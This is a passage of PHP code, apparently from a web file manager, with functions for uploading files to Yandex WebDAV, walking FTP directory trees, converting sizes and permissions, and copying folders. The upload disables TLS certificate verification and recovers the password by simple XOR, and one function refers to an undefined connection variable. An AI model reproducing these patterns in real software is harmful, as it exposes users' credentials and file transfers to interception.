$pass = $_SESSION['a3'] ^ str_pad('', strlen($_SESSION['a3']), $key);
$ch = curl_init();
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_BINARYTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_URL, 'https://webdav.yandex.ru' . $url);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'PUT');
curl_setopt($ch, CURLOPT_POSTFIELDS, file_get_contents($file));
curl_setopt($ch, CURLOPT_HTTPHEADER, array("Authorization: Basic " . base64_encode($user . ":" . $pass)));
$answer = curl_exec($ch);
$info = curl_getinfo($ch);
curl_close($ch);
if ($info['http_code'] != '201') $return = '<span class="redsp">Error!</span> While sending file <span class="redsp">'.$_POST['origname'].'</span> to Yandex';
else $return = 'File <span class="redsp">'.$_POST['origname'].'</span> sent to Yandex';
return $return;
}
function reset_connect($fti) {
      $_SESSION['disconnect']++;
        ftp_close($connect);
        echo $fti;
        exit;
}
function folder_tree($connect, $ftp_fold, $startfc) {
         $timefc = microtime(true) - $startfc;
           if($timefc > 20):
           echo 'all'.$GLOBALS['trc'];
           ftp_close($connect);
           exit;
           endif;
           $GLOBALS['foc']++;
           if(!isset($_SESSION['foldrers'][$GLOBALS['foc']][0])) {
           if ( @ftp_chdir($connect, $ftp_fold) ) :
           if ($contents = ftp_rawlist($connect,".")) {
           $i = 1;
           foreach ($contents as $key=>$val) {
           $itemz = explode(" ",$val);
                $ki = 0;
                foreach($itemz as $kval):
                  if($kval != "") {
                    $item[$key][$ki] = $kval;
                    $ki++;
                  }
                endforeach;
           $item_name = explode('.',$item[$key][8]);
           if(preg_match("/^d/",$item[$key][0]) == 0) $item_type = 1;
           else $item_type = 0;
           $dir = $ftp_fold;
           if ($ftp_fold == "/") $dir = "";
           if ($item_type == "1") {
           $_SESSION['tree_array'][$GLOBALS['trc']]['type'] = 'file';
           $_SESSION['tree_array'][$GLOBALS['trc']]['path'] = $dir . "/" . $item[$key][8];
            $GLOBALS['trc']++;
           } else {
           if($item[$key][8] != '.' && $item[$key][8] !='..') {
           $_SESSION['tree_array'][$GLOBALS['trc']]['type'] = 'dir';
           $_SESSION['tree_array'][$GLOBALS['trc']]['path'] = $dir . "/" . $item[$key][8];
           $_SESSION['foldrers'][$GLOBALS['foc']][$i] = $dir . "/" . $item[$key][8];
           $GLOBALS['trc']++;
           $i++;
             }
            }
           }
           $_SESSION['foldrers'][$GLOBALS['foc']][0] = $ftp_fold;
          }
          else return false;
        endif;
          }
          foreach ($_SESSION['foldrers'][$GLOBALS['foc']] as $fn=>$fpath) {
             if($fn != 0):
          folder_tree($connect, $fpath, $startfc);
             endif;
          }
      return true;
    }
function fileext($file) {
$p = pathinfo($file);
if(isset($p['extension'])) return $p['extension'];
else return false;
}
function convertsize($size){
$times = 0;
$comma = '.';
while ($size>1024){
$times++;
$size = $size/1024;
}
$size2 = floor($size);
$rest = $size - $size2;
$rest = $rest * 100;
$decimal = floor($rest);

$addsize = $decimal;
if ($decimal<10) {$addsize .= '0';};

if ($times == 0){$addsize=$size2;} else
 {$addsize=$size2.$comma.substr($addsize,0,2);}
switch ($times) {
  case 0 : $mega = ' bytes'; break;
  case 1 : $mega = ' KB'; break;
  case 2 : $mega = ' MB'; break;
  case 3 : $mega = ' GB'; break;
  case 4 : $mega = ' TB'; break;}
$addsize .= $mega;
return $addsize;
}
function octaldec($octal) {
  $arroct = str_split($octal);
  $dec = 0;
  $i = (count($arroct)-1)*3;
  foreach($arroct as $val):
    $dec = $dec + $val*pow(2,$i);
  $i = $i-3;
  endforeach;
  return $dec;
}
function convlink($filename) {
    if(preg_match("/windows-125/i",$_SESSION['charset'])) {
      $return = mb_convert_encoding($filename,"windows-1252",mb_detect_encoding($_SERVER['PHP_SELF']));
      $return = mb_convert_encoding(urlencode($return),"UTF-8",$_SESSION['charset']);
    } else {
      $return = urlencode($filename);
    }
  return $return;
}
function convname($filename) {
    if(preg_match("/windows-125/i",$_SESSION['charset'])) {
      $first = mb_convert_encoding($filename,"windows-1252",mb_detect_encoding($_SERVER['PHP_SELF']));
      $filename = mb_convert_encoding($first,"UTF-8",$_SESSION['charset']);
    }
  return $filename;
}
function timeTOint($time) {
 $arrc = explode('/',$time);
 $arcd = explode('.',$arrc[0]);
 $arct = explode(':',$arrc[1]);
 $return = mktime($arct[0],$arct[1],$arct[2],$arcd[1],$arcd[0],$arcd[2]);
 return $return;
}
function getowgr($filename) {
    $owid = @fileowner($filename);
    $grid = @filegroup($filename);
    $owarr = @posix_getpwuid($owid);
    $grarr = @posix_getgrgid($grid);
    $ow = $owarr['name']?$owarr['name']:$owid;
    $gr = $grarr['name']?$grarr['name']:$grid;
    $return = array('name' => $ow,'group' => $gr,'owid' => $owid,'grid' => $grid);
    return $return;
}
function getDirSize($arr) {
  $path = $arr['path'];
  $s = $arr['s'];
  $d = $arr['d'];
  $f = $arr['f'];
  $dir = scandir($path);
        foreach($dir as $file)
        {
            if($file != '.' && $file != '..')
                if(is_dir($path .'/'.$file)) {
                  $newarr = array('path'=>$path.'/'.$file,'s'=>$s,'d'=>$d,'f'=>$f);
                    $darr = getDirSize($newarr);
                    $s = $darr['s'];
                    $d = $darr['d'] + 1;
                    $f = $darr['f'];
                } else {
                    $s += filesize($path.'/'.$file);
                    $f++;
                }
        }
        $return = array('s'=>$s,'d'=>$d,'f'=>$f);
        return $return;
    }
function afull_copy($source, $target) {
  if (is_dir($source))  {
    @mkdir($target);
    $d = dir($source);
    while (FALSE !== ($entry = $d->read())) {
      if ($entry == '.' || $entry == '..') continue;
      afull_copy("$source/$entry", "$target/$entry");
    }
    $d->close();
  }
  else copy($source, $target);
  return true;
}